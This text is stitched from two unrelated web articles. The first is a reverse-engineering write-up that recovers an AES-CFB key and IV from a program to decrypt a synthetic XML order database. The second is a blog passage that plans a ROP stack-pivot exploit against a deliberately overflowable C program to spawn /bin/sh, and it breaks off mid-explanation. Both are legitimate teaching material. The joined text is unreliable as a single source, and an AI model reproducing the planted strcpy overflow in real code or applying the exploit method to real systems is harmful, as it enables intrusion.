    		FCx6JhIDqnESyT3HAepyE1BJ3cJd7wCk+APCRUeuNtZdpCvQ2MR/7kLXtfUHuA==</
    	</Order
    ...
    
[/code]

The file is available here.

This is clearly base64-encoded data, because all strings consisting of Latin
characters, digits, plus \(+\) and slash \(/\) symbols. There can be 1 or 2
padding symbols \(=\), but they are never occurred in the middle of string.
Keeping in mind these base64 properties, it's very easy to recognize them.

Let's decode them and calculate entropies \(my article about it\) of these
blocks in Wolfram Mathematica:

[code]

    In[]:= ListOfBase64Strings = 
      Map[First[#[[3]]] &, Cases[Import["encrypted.xml"], XMLElement["Data", _, _], Infinity]];
    
    In[]:= BinaryStrings = 
      Map[ImportString[#, {"Base64", "String"}] &, ListOfBase64Strings];
    
    In[]:= Entropies = Map[N[Entropy[2, #]] &, BinaryStrings];
    
    In[]:= Variance[Entropies]
    Out[]= 0.0238614
    
[/code]

Variance is low. This mean the entropy values are not very different from each
other. This is visible on graph:

In\[\]:= ListPlot\[Entropies\]

<img src='img/Temp2_2110.png' />

Most valuess are between 5.0 and 5.4. This is a sign that the data is
compressed and/or encrypted.

To understand variance, let's calculate entropies of all lines in Conan
Doyle's "The Hound of the Baskervilles" book:

[code]

    In[]:= BaskervillesLines = Import["http://www.gutenberg.org/cache/epub/2852/pg2852.txt", "List"];
    
    In[]:= EntropiesT = Map[N[Entropy[2, #]] &, BaskervillesLines];
    
    In[]:= Variance[EntropiesT]
    Out[]= 2.73883
    
[/code]

<img src='img/Temp2_2109.png' />

Most values are gathered around value of 4, but there are also values which
are smaller, and they are influenced final variance value.

Perhaps, shortest strings has smaller entropy, let's take short string from
the Conan Doyle's book:

[code]

    In[]:= Entropy[2, "Yes, sir."] // N
    Out[]= 2.9477
    
[/code]

Let's try even shorter:

[code]

    In[]:= Entropy[2, "Yes"] // N
    Out[]= 1.58496
    
    In[]:= Entropy[2, "No"] // N
    Out[]= 1.
    
[/code]

### Is it compressed?

OK, so our data is compressed and/or encrypted. Is it compressed? Almost all
data compressors put some header at the start, signature, or something like
that. As we can see, there are no consistent data at the start. It's still
possible that this is DIY handmade data compressor, but they are very rare.
Handmade cryptoalgorithm is very easy implement because it's very easy to make
it work. Even primitive keyless cryptosystems like memfrob\(\) and ROT13
working fine without errors. It's a challenge to write data compressor from
scratch using only fantasy and imagination in a way so it will have no evident
bugs. Some programmers implements data compression functions by reading
textbooks, but this is also rare. The most popular two ways are: 1\) just take
open-source library like zlib; 2\) copy&paste something from somewhere. Open-
source data compressions algorithms usually puts some kind of header, and so
are popular code snippets from the sites like http://www.codeproject.com/.

### Is it encrypted?

All major data encryption algorithms process data in blocks. DES - 8 bytes,
AES - 16 bytes. If the input buffer is not divided evenly by block, it's
padded, so encrypted data is aligned by cryptoalgorithm's block size. This is
not our case.

Using Wolfram Mathematica, I analyzed data block's lengths:

[code]

    In[]:= Counts[Map[StringLength[#] &, BinaryStrings]]
    Out[]= <|42 -> 1858, 38 -> 1235, 36 -> 699, 46 -> 1151, 40 -> 1784, 
     44 -> 1558, 50 -> 366, 34 -> 291, 32 -> 74, 56 -> 15, 48 -> 716, 
     30 -> 13, 52 -> 156, 54 -> 71, 60 -> 3, 58 -> 6, 28 -> 4|>
    
[/code]

1858 blocks has size of 42 bytes, 1235 blocks has size of 38 bytes, etc.

I made a graph:

[code]

    ListPlot[Counts[Map[StringLength[#] &, BinaryStrings]]]
    
[/code]

<img src='img/Temp2_2108.png' />

So, most blocks has size between ~36 and ~48. There is also another thing to
notice: all block sizes are even. No single block with odd size.

There are, however, stream ciphers which can operate on byte or bit-level.

### CryptoPP

The program which can browse this encrypted database is written C\# and the
.NET code is heavily obfuscated. Nevertheless, there is DLL with x86 code,
which, after brief examination, has parts of the CryptoPP popular open-source
library\! \(I just spotted "CryptoPP" strings inside.\) Now it's very easy to
find all functions inside of DLL because CryptoPP library is open-source.

CryptoPP library has a lot of crypto-functions, including AES \(AKA
Rijndael\). Newer x86 CPUs has AES helper instructions like AESENC, AESDEC and
AESKEYGENASSIST: https://en.wikipedia.org/wiki/AES\_instruction\_set. They are
not performing encryption/decryption completely, but they do significant
amount of job. And newer CryptoPP versions use them. For example, here: 1, 2.
To my surprise, during decryption, AESENC is executed, while AESDEC is not \(I
just checked with my tracer utility, but any debugger can be used\). I
checked, if my CPU really supports AES instructions. Some Intel i3 CPUs are
not. And if not, CryptoPP library falling back to AES functions implemented in
old way:
https://github.com/mmoss/cryptopp/blob/2772f7b57182b31a41659b48d5f35a7b6cedd34d/src/rijndael.cpp\#L355.
But my CPU supports them. Why AESDEC is still not executed? Why the program
use AES encryption in order to decrypt database?

OK, it's not a problem to find a function which encrypts block. It is called
**CryptoPP::Rijndael::Enc::ProcessAndXorBlock** :
https://github.com/mmoss/cryptopp/blob/2772f7b57182b31a41659b48d5f35a7b6cedd34d/src/rijndael.cpp\#L349,
and it has references to another function:
**Rijndael::Enc::AdvancedProcessBlocks\(\)**
https://github.com/mmoss/cryptopp/blob/2772f7b57182b31a41659b48d5f35a7b6cedd34d/src/rijndael.cpp\#L1179,
which, in turn, has references to two functions \( AESNI\_Enc\_Block and
AESNI\_Enc\_4\_Blocks \) which has AESENC instructions.

So, judging by CryptoPP internals,
**CryptoPP::Rijndael::Enc::ProcessAndXorBlock\(\)** encrypts one 16-byte
block. Let's set breakpoint on it and see, what happens during decryption. I
use my simple tracer tool again. The software should decrypt first data block
now. Oh, by the way, here is the first data block converted from base64
encoding to hexadecimal data, let's have it at hand:

[code]

    00000000: CA 39 B1 85 75 1B 84 1F  F9 31 5E 39 72 13 EC 5D  .9..u....1^9r..]
    00000010: 95 80 27 02 21 D5 2D 1A  0F D9 45 9F 75 EE 24 C4  ..'.!.-...E.u.$.
    00000020: B1 27 7F 84 FE 41 37 86  C9 C0                    .'...A7...
    
[/code]

This is also arguments of the function from CryptoPP source files:

[code]

    size_t Rijndael::Enc::AdvancedProcessBlocks(const byte *inBlocks, const byte *xorBlocks, byte *outBlocks, size_t length, word32 flags);
    
[/code]

So it has 5 arguments. Possible flags are:

[code]

    enum {BT_InBlockIsCounter=1, BT_DontIncrementInOutPointers=2, BT_XorInput=4, BT_ReverseDirection=8, BT_AllowParallel=16} FlagsForAdvancedProcessBlocks;
    
[/code]

OK, run tracer on **ProcessAndXorBlock\(\)** function:

[code]

    ... tracer.exe -l:filename.exe bpf=filename.exe!0x4339a0,args:5,dump_args:0x10
    
    Warning: no tracer.cfg file.
    PID=1984|New process software.exe
    no module registered with image base 0x77320000
    no module registered with image base 0x76e20000
    no module registered with image base 0x77320000
    no module registered with image base 0x77220000
    Warning: unknown (to us) INT3 breakpoint at ntdll.dll!LdrVerifyImageMatchesChecksum+0x96c (0x776c103b)
    (0) software.exe!0x4339a0(0x38b920, 0x0, 0x38b978, 0x10, 0x0) (called from software.exe!.text+0x33c0d (0x13e4c0d))
    Argument 1/5 
    0038B920: 01 00 00 00 FF FF FF FF-79 C1 69 0B 67 C1 04 7D "........y.i.g..}"
    Argument 3/5 
    0038B978: CD CD CD CD CD CD CD CD-CD CD CD CD CD CD CD CD "................"
    (0) software.exe!0x4339a0() -> 0x0
    Argument 3/5 difference
    00000000: C7 39 4E 7B 33 1B D6 1F-B8 31 10 39 39 13 A5 5D ".9N{3....1.99..]"
    (0) software.exe!0x4339a0(0x38a828, 0x38a838, 0x38bb40, 0x0, 0x8) (called from software.exe!.text+0x3a407 (0x13eb407))
    Argument 1/5 
    0038A828: 95 80 27 02 21 D5 2D 1A-0F D9 45 9F 75 EE 24 C4 "..'.!.-...E.u.$."
    Argument 2/5 
    0038A838: B1 27 7F 84 FE 41 37 86-C9 C0 00 CD CD CD CD CD ".'...A7........."
    Argument 3/5 
    0038BB40: CD CD CD CD CD CD CD CD-CD CD CD CD CD CD CD CD "................"
    (0) software.exe!0x4339a0() -> 0x0
    (0) software.exe!0x4339a0(0x38b920, 0x38a828, 0x38bb30, 0x10, 0x0) (called from software.exe!.text+0x33c0d (0x13e4c0d))
    Argument 1/5 
    0038B920: CA 39 B1 85 75 1B 84 1F-F9 31 5E 39 72 13 EC 5D ".9..u....1^9r..]"
    Argument 2/5 
    0038A828: 95 80 27 02 21 D5 2D 1A-0F D9 45 9F 75 EE 24 C4 "..'.!.-...E.u.$."
    Argument 3/5 
    0038BB30: CD CD CD CD CD CD CD CD-CD CD CD CD CD CD CD CD "................"
    (0) software.exe!0x4339a0() -> 0x0
    Argument 3/5 difference
    00000000: 45 00 20 00 4A 00 4F 00-48 00 4E 00 53 00 00 00 "E. .J.O.H.N.S..."
    (0) software.exe!0x4339a0(0x38b920, 0x0, 0x38b978, 0x10, 0x0) (called from software.exe!.text+0x33c0d (0x13e4c0d))
    Argument 1/5 
    0038B920: 95 80 27 02 21 D5 2D 1A-0F D9 45 9F 75 EE 24 C4 "..'.!.-...E.u.$."
    Argument 3/5 
    0038B978: 95 80 27 02 21 D5 2D 1A-0F D9 45 9F 75 EE 24 C4 "..'.!.-...E.u.$."
    (0) software.exe!0x4339a0() -> 0x0
    Argument 3/5 difference
    00000000: B1 27 7F E4 9F 01 E3 81-CF C6 12 FB B9 7C F1 BC ".'...........|.."
    PID=1984|Process software.exe exited. ExitCode=0 (0x0)
    
[/code]

Here we can see inputs and outputs to the **ProcessAndXorBlock\(\)** function.

This is output from the first call of encryption operation:

[code]

    00000000: C7 39 4E 7B 33 1B D6 1F-B8 31 10 39 39 13 A5 5D ".9N{3....1.99..]"
    
[/code]

Then the **ProcessAndXorBlock\(\)** is called with 0-length block, but with 8
flag \(**BT\_ReverseDirection**\).

Second:

[code]

    00000000: 45 00 20 00 4A 00 4F 00-48 00 4E 00 53 00 00 00 "E. .J.O.H.N.S..."
    
[/code]

Wow, there is some string familiar to us\!

Third:

[code]

    00000000: B1 27 7F E4 9F 01 E3 81-CF C6 12 FB B9 7C F1 BC ".'...........|.."
    
[/code]

The first output is very similar to the first 16 bytes of the encrypted
buffer.

Output of the first call of **ProcessAndXorBlock\(\)** :

[code]

    00000000: C7 39 4E 7B 33 1B D6 1F-B8 31 10 39 39 13 A5 5D ".9N{3....1.99..]"
    
[/code]

First 16 bytes of encrypted buffer:

[code]

    00000000: CA 39 B1 85 75 1B 84 1F F9 31 5E 39 72 13 EC 5D  .9..u....1^9r..]
    
[/code]

There are too much equal bytes\! How AES encryption result can be very similar
to the encrypted buffer while this is not encryption but rather decryption?\!

### Cipher Feedback mode

The answer is CFB \(Cipher Feedback mode\): In this mode, AES algorithms used
not as encryption algorithm, but as a device which generates cryptographically
secure random data. The actual encryption is happens using simple XOR
operation.

Here is encryption algorithm \(images are taken from Wikipedia\):

<img src='img/Temp2_2107.png' />

And decryption:

<img src='img/Temp2_2111.png' />

Now let's see: AES encryption operation generates 16 bytes \(or 128 bits\) or
"random" data to be used while XOR-ing, who forces us to use all 16 bytes? If
at the last stage we've got 1 byte of data, let's xor 1 byte of data with 1
byte of generated "random" data? This leads to important property of CFB mode:
data must not be padded, data of arbitrary size can be encrypted and
decrypted.

Oh, that's why all encrypted blocks are not padded. And that's why AESDEC
instruction is never called.

Let's try to decrypt first block manually, using Python. CFB mode is also use
IV \(initialization vector\), as a "seen" to "random generator". In our case,
IV is the block which is encrypted at first stage:

[code]

    0038B920: 01 00 00 00 FF FF FF FF-79 C1 69 0B 67 C1 04 7D "........y.i.g..}"
    
[/code]

Oh, and we also need to recover encryption key. There is AESKEYGENASSIST is
DLL, and it is called, and it is used in the
**Rijndael::Base::UncheckedSetKey\(\)** function:
https://github.com/mmoss/cryptopp/blob/2772f7b57182b31a41659b48d5f35a7b6cedd34d/src/rijndael.cpp\#L198
It's easy to find it in IDA and set breakpoint. Let's see:

[code]

    ... tracer.exe -l:filename.exe bpf=filename.exe!0x435c30,args:3,dump_args:0x10
    
    Warning: no tracer.cfg file.
    PID=2068|New process software.exe
    no module registered with image base 0x77320000
    no module registered with image base 0x76e20000
    no module registered with image base 0x77320000
    no module registered with image base 0x77220000
    Warning: unknown (to us) INT3 breakpoint at ntdll.dll!LdrVerifyImageMatchesChecksum+0x96c (0x776c103b)
    (0) software.exe!0x435c30(0x15e8000, 0x10, 0x14f808) (called from software.exe!.text+0x22fa1 (0x13d3fa1))
    Argument 1/3 
    015E8000: CD C5 7E AD 28 5F 6D E1-CE 8F CC 29 B1 21 88 8E "..~.(_m....).!.."
    Argument 3/3 
    0014F808: 38 82 58 01 C8 B9 46 00-01 D1 3C 01 00 F8 14 00 "8.X...F...<....."
    Argument 3/3 +0x0: software.exe!.rdata+0x5238
    Argument 3/3 +0x8: software.exe!.text+0x1c101
    (0) software.exe!0x435c30() -> 0x13c2801
    PID=2068|Process software.exe exited. ExitCode=0 (0x0)
    
[/code]

So this is the key: **CD C5 7E AD 28 5F 6D E1-CE 8F CC 29 B1 21 88 8E**

During manual decryption we've got this:

[code]

    00000000: 0D 00 FF FE 46 00 52 00  41 00 4E 00 4B 00 49 00  ....F.R.A.N.K.I.
    00000010: 45 00 20 00 4A 00 4F 00  48 00 4E 00 53 00 66 66  E. .J.O.H.N.S.ff
    00000020: 66 66 66 9E 61 40 D4 07  06 01                    fff.a@....
    
[/code]

Now this is something readable\! And now we can see why there were so many
equal bytes at the first decryption stage: because plaintext has so many zero
bytes\!

Let's decrypt the second block:

[code]

    00000000: 17 98 D0 84 3A E9 72 4F  DB 82 3F AD E9 3E 2A A8  ....:.rO..?..>*.
    00000010: 41 00 52 00 52 00 4F 00  4E 00 CD CC CC CC CC CC  A.R.R.O.N.......
    00000020: 1B 40 D4 07 06 01                                 .@....
    
[/code]

Third, fourth and fifth:

[code]

    00000000: 5D 90 59 06 EF F4 96 B4  7C 33 A7 4A BE FF 66 AB  ].Y.....|3.J..f.
    00000010: 49 00 47 00 47 00 53 00  00 00 00 00 00 C0 65 40  I.G.G.S.......e@
    00000020: D4 07 06 01                                       ....
    
[/code]

[code]

    00000000: D3 15 34 5D 21 18 7C 6E  AA F8 2D FE 38 F9 D7 4E  ..4]!.|n..-.8..N
    00000010: 41 00 20 00 44 00 4F 00  48 00 45 00 52 00 54 00  A. .D.O.H.E.R.T.
    00000020: 59 00 48 E1 7A 14 AE FF  68 40 D4 07 06 02        Y.H.z...h@....
    
[/code]

[code]

    00000000: 1E 8B 90 0A 17 7B C5 52  31 6C 4E 2F DE 1B 27 19  .....{.R1lN...'.
    00000010: 41 00 52 00 43 00 55 00  53 00 00 00 00 00 00 60  A.R.C.U.S.......
    00000020: 66 40 D4 07 06 03                                 f@....
    
[/code]

All blocks decrypted seems correctly except of first 16 byte part.

### Initializing Vector

What can affect first 16 bytes?

Let's back to CFB decryption algorithm again:

<img src='img/Temp2_2111.png' />

We can see that IV can affect to first block decryption operation, but not the
second, because the second stage used ciphertext from the first stage, and in
case of decryption, it's the same, no matter what IV has\!

So probably, IV is different each time. Using my tracer, I'll take a look at
the first input during decryption of the second block of XML file:

[code]

    0038B920: 02 00 00 00 FE FF FF FF-79 C1 69 0B 67 C1 04 7D "........y.i.g..}"
    
[/code]

... third:

[code]

    0038B920: 03 00 00 00 FD FF FF FF-79 C1 69 0B 67 C1 04 7D "........y.i.g..}"
    
[/code]

It seems, first and fifth byte are changed each time. I finally concluded that
the first 32-bit integer is just OrderID from the XML file, and the second is
also OrderID, but negated. All other 8 bytes are static. Now I have decrypted
the whole database: decrypted.full.txt.

The Python script used for this is: decrypt\_blocks.py.

So now we know that IV only affects first block during decryption in CFB mode,
this is feature of it. All other blocks can be decrypted without knowledge IV,
but using the key.

OK, so why CFB mode? Apparently, because the very first AES example on
CryptoPP wiki uses CFB mode:
http://www.cryptopp.com/wiki/Advanced\_Encryption\_Standard\#Encrypting\_and\_Decrypting\_Using\_AES.
Supossedly, CryptoPP developers choose it for simplicity: the example can
encrypt/decrypt text strings with arbitrary lengths, without padding.

It is very likely, my program's programmer\(s\) just copypasted the example
from CryptoPP wiki page. Many programmers do so.

The only difference that IV is choosen randomly in CryptoPP wiki example,
while this indeterminism wasn't allowable to programmers of the software we
are dissecting now, so they choose to initialize IV using Order ID.

Now we can proceed to analyzing matter of each byte in the decrypted block.

### Structure of the buffer

Let's take first four decrypted blocks:

[code]

    00000000: 0D 00 FF FE 46 00 52 00  41 00 4E 00 4B 00 49 00  ....F.R.A.N.K.I.
    00000010: 45 00 20 00 4A 00 4F 00  48 00 4E 00 53 00 66 66  E. .J.O.H.N.S.ff
    00000020: 66 66 66 9E 61 40 D4 07  06 01                    fff.a@....
    
    00000000: 0B 00 FF FE 4C 00 4F 00  52 00 49 00 20 00 42 00  ....L.O.R.I. .B.
    00000010: 41 00 52 00 52 00 4F 00  4E 00 CD CC CC CC CC CC  A.R.R.O.N.......
    00000020: 1B 40 D4 07 06 01                                 .@....
    
    00000000: 0A 00 FF FE 47 00 41 00  52 00 59 00 20 00 42 00  ....G.A.R.Y. .B.
    00000010: 49 00 47 00 47 00 53 00  00 00 00 00 00 C0 65 40  I.G.G.S.......e@
    00000020: D4 07 06 01                                       ....
    
    00000000: 0F 00 FF FE 4D 00 45 00  4C 00 49 00 4E 00 44 00  ....M.E.L.I.N.D.
    00000010: 41 00 20 00 44 00 4F 00  48 00 45 00 52 00 54 00  A. .D.O.H.E.R.T.
    00000020: 59 00 48 E1 7A 14 AE FF  68 40 D4 07 06 02        Y.H.z...h@....
    
[/code]

UTF-16 encoded text strings are clearly visible, these are names and surnames.
The first byte \(or 16-bit word\) is seems string length, we can visually
check it. **FF FE** is seems Unicode BOM.

There are 12 more bytes after each string.

Using this script \(dump\_buffer\_rest.py\) I've got random selection of the
block "tails":

[code]

    dennis@...:$ python decrypt.py encrypted.xml | shuf | head -20
    00000000: 48 E1 7A 14 AE 5F 62 40  DD 07 05 08              H.z.._b@....
    00000000: 00 00 00 00 00 40 5A 40  DC 07 08 18              .....@Z@....
    00000000: 00 00 00 00 00 80 56 40  D7 07 0B 04              ......V@....
    00000000: 00 00 00 00 00 60 61 40  D7 07 0C 1C              ......a@....
    00000000: 00 00 00 00 00 20 63 40  D9 07 05 18              ..... c@....
    00000000: 3D 0A D7 A3 70 FD 34 40  D7 07 07 11              =...p.4@....
    00000000: 00 00 00 00 00 A0 63 40  D5 07 05 19              ......c@....
    00000000: CD CC CC CC CC 3C 5C 40  D7 07 08 11              .......@....
    00000000: 66 66 66 66 66 FE 62 40  D4 07 06 05              fffff.b@....
    00000000: 1F 85 EB 51 B8 FE 40 40  D6 07 09 1E              ...Q..@@....
    00000000: 00 00 00 00 00 40 5F 40  DC 07 02 18              .....@_@....
    00000000: 48 E1 7A 14 AE 9F 67 40  D8 07 05 12              H.z...g@....
    00000000: CD CC CC CC CC 3C 5E 40  DC 07 01 07              ......^@....
    00000000: 00 00 00 00 00 00 67 40  D4 07 0B 0E              ......g@....
    00000000: 00 00 00 00 00 40 51 40  DC 07 04 0B              .....@Q@....
    00000000: 00 00 00 00 00 40 56 40  D7 07 07 0A              .....@V@....
    00000000: 8F C2 F5 28 5C 7F 55 40  DB 07 01 16              ...(..U@....
    00000000: 00 00 00 00 00 00 32 40  DB 07 06 09              ......2@....
    00000000: 66 66 66 66 66 7E 66 40  D9 07 0A 06              fffff~f@....
    00000000: 48 E1 7A 14 AE DF 68 40  D5 07 07 16              H.z...h@....
    
[/code]

We first see the 0x40 and 0x07 bytes present in each "tail". The very last
byte s always in 1..0x1F \(1..31\) range, as I checked. The penultimate byte
is always in 1..0xC \(1..12\) range. Wow, that looks like a date\! Year can be
represented as 16-bit value, and maybe last 4 bytes is date \(16 bits for
year, 8 bits for month and day\)? 0x7DD is 2013, 0x7D5 is 2005, etc. Seems
fine. This is a date. There are 8 more bytes. Judging by the fact this is
database named "orders", maybe some kind of sum is present here? I made
attempt to interpret it as double-precision IEEE 754 floating point and dump
all values\!

Some are:

[code]

    71.0
    134.0
    51.95
    53.0
    121.99
    96.95
    98.95
    15.95
    85.95
    184.99
    94.95
    29.95
    85.0
    36.0
    130.99
    115.95
    87.99
    127.95
    114.0
    150.95
    
[/code]

Looks like real\!

Now we can dump names, sums and dates.

[code]

    plain:
    00000000: 0D 00 FF FE 46 00 52 00  41 00 4E 00 4B 00 49 00  ....F.R.A.N.K.I.
    00000010: 45 00 20 00 4A 00 4F 00  48 00 4E 00 53 00 66 66  E. .J.O.H.N.S.ff
    00000020: 66 66 66 9E 61 40 D4 07  06 01                    fff.a@....
    OrderID= 1 name= FRANKIE JOHNS sum= 140.95 date= 2004 / 6 / 1
    
    plain:
    00000000: 0B 00 FF FE 4C 00 4F 00  52 00 49 00 20 00 42 00  ....L.O.R.I. .B.
    00000010: 41 00 52 00 52 00 4F 00  4E 00 CD CC CC CC CC CC  A.R.R.O.N.......
    00000020: 1B 40 D4 07 06 01                                 .@....
    OrderID= 2 name= LORI BARRON sum= 6.95 date= 2004 / 6 / 1
    
    plain:
    00000000: 0A 00 FF FE 47 00 41 00  52 00 59 00 20 00 42 00  ....G.A.R.Y. .B.
    00000010: 49 00 47 00 47 00 53 00  00 00 00 00 00 C0 65 40  I.G.G.S.......e@
    00000020: D4 07 06 01                                       ....
    OrderID= 3 name= GARY BIGGS sum= 174.0 date= 2004 / 6 / 1
    
    plain:
    00000000: 0F 00 FF FE 4D 00 45 00  4C 00 49 00 4E 00 44 00  ....M.E.L.I.N.D.
    00000010: 41 00 20 00 44 00 4F 00  48 00 45 00 52 00 54 00  A. .D.O.H.E.R.T.
    00000020: 59 00 48 E1 7A 14 AE FF  68 40 D4 07 06 02        Y.H.z...h@....
    OrderID= 4 name= MELINDA DOHERTY sum= 199.99 date= 2004 / 6 / 2
    
    plain:
    00000000: 0B 00 FF FE 4C 00 45 00  4E 00 41 00 20 00 4D 00  ....L.E.N.A. .M.
    00000010: 41 00 52 00 43 00 55 00  53 00 00 00 00 00 00 60  A.R.C.U.S.......
    00000020: 66 40 D4 07 06 03                                 f@....
    OrderID= 5 name= LENA MARCUS sum= 179.0 date= 2004 / 6 / 3
    
[/code]

See more: decrypted.full.with\_data.txt. Or filtered: decrypted.short.txt.
Seems correct.

### Noise at the end

The only thing is that sometimes, tail is bigger:

[code]

    00000000: 0E 00 FF FE 54 00 48 00  45 00 52 00 45 00 53 00  ....T.H.E.R.E.S.
    00000010: 45 00 20 00 54 00 55 00  54 00 54 00 4C 00 45 00  E. .T.U.T.T.L.E.
    00000020: 66 66 66 66 66 1E 63 40  D4 07 07 1A 00 07 07 19  fffff.c@........
    OrderID= 172 name= THERESE TUTTLE sum= 152.95 date= 2004 / 7 / 26
    
[/code]

\(**00 07 07 19** bytes are not used and ballast\).

[code]

    00000000: 0C 00 FF FE 4D 00 45 00  4C 00 41 00 4E 00 49 00  ....M.E.L.A.N.I.
    00000010: 45 00 20 00 4B 00 49 00  52 00 4B 00 00 00 00 00  E. .K.I.R.K.....
    00000020: 00 20 64 40 D4 07 09 02  00 02                    . d@......
    OrderID= 286 name= MELANIE KIRK sum= 161.0 date= 2004 / 9 / 2
    
[/code]

\(**00 02** are not used\).

After close examination, we can see, that the noise at the end of tail is just
left from previous encryption\!

Here are two subsequent buffers:

[code]

    00000000: 10 00 FF FE 42 00 4F 00  4E 00 4E 00 49 00 45 00  ....B.O.N.N.I.E.
    00000010: 20 00 47 00 4F 00 4C 00  44 00 53 00 54 00 45 00   .G.O.L.D.S.T.E.
    00000020: 49 00 4E 00 9A 99 99 99  99 79 46 40 D4 07 07 19  I.N......yF@....
    OrderID= 171 name= BONNIE GOLDSTEIN sum= 44.95 date= 2004 / 7 / 25
    
    00000000: 0E 00 FF FE 54 00 48 00  45 00 52 00 45 00 53 00  ....T.H.E.R.E.S.
    00000010: 45 00 20 00 54 00 55 00  54 00 54 00 4C 00 45 00  E. .T.U.T.T.L.E.
    00000020: 66 66 66 66 66 1E 63 40  D4 07 07 1A 00 07 07 19  fffff.c@........
    OrderID= 172 name= THERESE TUTTLE sum= 152.95 date= 2004 / 7 / 26
    
[/code]

\(The last **07 07 19** bytes are copied from the previous plaintext buffer\).

Another two subsequent buffers:

[code]

    00000000: 0D 00 FF FE 4C 00 4F 00  52 00 45 00 4E 00 45 00  ....L.O.R.E.N.E.
    00000010: 20 00 4F 00 54 00 4F 00  4F 00 4C 00 45 00 CD CC   .O.T.O.O.L.E...
    00000020: CC CC CC 3C 5E 40 D4 07  09 02                    ...<^@....
    OrderID= 285 name= LORENE OTOOLE sum= 120.95 date= 2004 / 9 / 2
    
    00000000: 0C 00 FF FE 4D 00 45 00  4C 00 41 00 4E 00 49 00  ....M.E.L.A.N.I.
    00000010: 45 00 20 00 4B 00 49 00  52 00 4B 00 00 00 00 00  E. .K.I.R.K.....
    00000020: 00 20 64 40 D4 07 09 02  00 02                    . d@......
    OrderID= 286 name= MELANIE KIRK sum= 161.0 date= 2004 / 9 / 2
    
[/code]

The last 02 byte is copied from the previous plaintext buffer.

It's possible if the buffer used while encrypted was global and/or wasn't
cleared before each encryption. The final buffer size value is also biased
somehow, nevertheless, the bug left uncatched because it doesn't affect
decrypting software, it's just ignores noise at the end. This is common
mistake. It even affected OpenSSL: https://en.wikipedia.org/wiki/Heartbleed.

### Conclusion

Summary: every practicing reverse engineer should be familiar with major
crypto algorithms and also major cryptographical modes. Good introduction book
is https://www.schneier.com/books/applied\_cryptography/. Here is another:
https://crypto.stanford.edu/~dabo/cryptobook/, link to PDF.

All "encrypted" database contents was artificially constructed by me for the
sake of demonstation. I've got most popular USA names and surnames from there:
http://stackoverflow.com/questions/1803628/raw-list-of-person-names, and
combined them randomly. Dates and sums are also generated randomly.

Nevertheless, many other features I've observed in real-world software
applications. This example is based on them.

* * *
Interested in articles like this? Subscribe to my blog and/or twitter:
@yurichev and/or facebook. Please donate, so I can continue my writings.

→ \[list of blog posts\]

##### The page last updated on 26-August-2015

Tweet Facebook

ShareThis Copy and Paste

# shareef12

**Created:**| _11/6/2012 9:29:13 AM_  
---|---  
**Updated:**| _11/6/2012 9:29:13 AM_  
**Author:**| __  
**Tags:**| _Linux rop tutorial_  
  

### Introduction

In this post I talk about my latest exercise in exploitation. Using a stack
overflow and Return-Oriented Programming \(ROP\), I overcome the exploit
mitigations NX and ASLR to successfully exploit a 32-bit linux application.  

###  The Vulnerable Program

The vulnerable program was compiled statically with no stack protector.  
  
// vuln.c  
// gcc vuln.c -o vuln -fno-stack-protector -static  
  
\#include <stdio.h>  
\#include <stdlib.h>  
\#include <string.h>  
  
int main\(int argc, char \*argv\[\]\)  
\{  
char buffer\[512\];  
  
if \(argc \!= 2\)  
printf\("NO\n"\);  
else \{  
strcpy\(buffer, argv\[1\]\);  
printf\("%s\n", buffer\);  
\}  
system\("ls"\);  
\}  
  
Statically compiling the program ensured I had enough gadgets to play with.
The final compiled size was 570kb. This is comparable in size to other common
linux applications such as readelf \(373kb\) or ncmpcpp \(562kb\).
Additionally, placing a call to system\(\) ensured it would reside at a known
location in the PLT.  

###  Creating the Exploit

First I needed to determine the number of bytes from the base of my buffer to
the return pointer. This was easily accomplished using metasploit's
pattern\_create.rb, pattern\_offset.rb, and gdb. Further details on this
method can be found here. \(http://www.violentpython.org/wordpress/?p=566\).  
  
  
Now that I had control over EIP, it was time to plan the exploitation. I
decided on a two-stage exploit. The first stage creates a new stack within the
.bss section and ends with a pivot into the new stack.  
  
The second stage takes place on the new stack and is a traditional ret2libc
system\("/bin/sh"\) followed by exit\(\). While a two-stage exploit was
technically not required for this vulnerability, this is a learning exercise
and it was good practice.  
  
Orignal Stack:  
|---------------------------------| <= buffer  
| buffer\[512\] |  
|---------------------------------| <= buffer + 512  
| junk |   
|---------------------------------|  
| junk |   
|---------------------------------|  
| junk |  
|---------------------------------| <= buffer + 524  
| ret addr \(stage 0 start\) |  
|---------------------------------|  
| stage 0 ... |  
|---------------------------------|  
| pivot esp gadget |  
|---------------------------------|  
  
Custom Stack:  
|---------------------------------|  
| address of system\(\) |  
|---------------------------------|  
| address of exit\(\) |  
|---------------------------------|  
| ptr to "/bin/sh" |  
|---------------------------------|  
| "/bin" |  
|---------------------------------|  
| "/sh" \+ 0x00 |  
|---------------------------------|  
  
With the concept of my exploit planned out, it's time to look for gadgets\! I
piped the result of metasploit's msfrop to a file and started grepping for
usable gadgets. I found three gadgets which gave me control over the entire
addressable range of memory: pop eax, pop edx, and mov \[edx\], eax. Below is
the layout of the stack necessary to use these three gadgets to control
memory.  
  
Moving Data:  
|---------------------------------|  
| addr of "pop edx" gadget |  
|---------------------------------|  
| dest address |  
|---------------------------------|  
| addr of "pop eax" gadget |  
|---------------------------------|  
| value to copy |   
|---------------------------------|  
| addr of "mov \[edx\], eax" gadget |  
|---------------------------------|  
  
With several repetitions of this pattern I was able to lay out my new stack.
Now all I needed was to pivot esp into my new stack. The first thing I noticed
was a "pop esp" gadget at 0x080a2409\. Unfortunately, the 0x0a byte acts as a
delimiter and was doing weird things with my command line arguments. Instead
of investigating this further, I simply found another gadget, "xchg esp, eax".
Since I already have a "pop eax" gadget, I can combine these to easily pivot
esp to point to my new stack.  
  
With the exploit planned out and gadgets located, it's time to find an address
for use in exploitation. I used readelf to find the address of .bss, a prime
location for my custom stack.  
  
root@bt:~/rop\# readelf -S vuln | grep .bss   
\[13\] .tbss NOBITS 080c6fa8 07dfa8 000018 00 WAT 0 0 4  
\[21\] .bss NOBITS 080c7720 07e720 001c9c 00 WA 0 0 32  
  
The beginning of .bss is located at address 0x080c7720. I decided to choose
0x080c7780 as the beginning of my custom stack.  
  
I also used readelf to find the locations of system\(\) and exit\(\).  
  
root@bt:~/rop\# readelf -s vuln | grep system  
56: 08048e60 1058 FUNC LOCAL DEFAULT 4 do\_system  
496: 080adfe0 62 OBJECT LOCAL DEFAULT 7 system\_dirs  
497: 080ae020 16 OBJECT LOCAL DEFAULT 7 system\_dirs\_len  
1234: 08049290 103 FUNC WEAK DEFAULT 4 system  
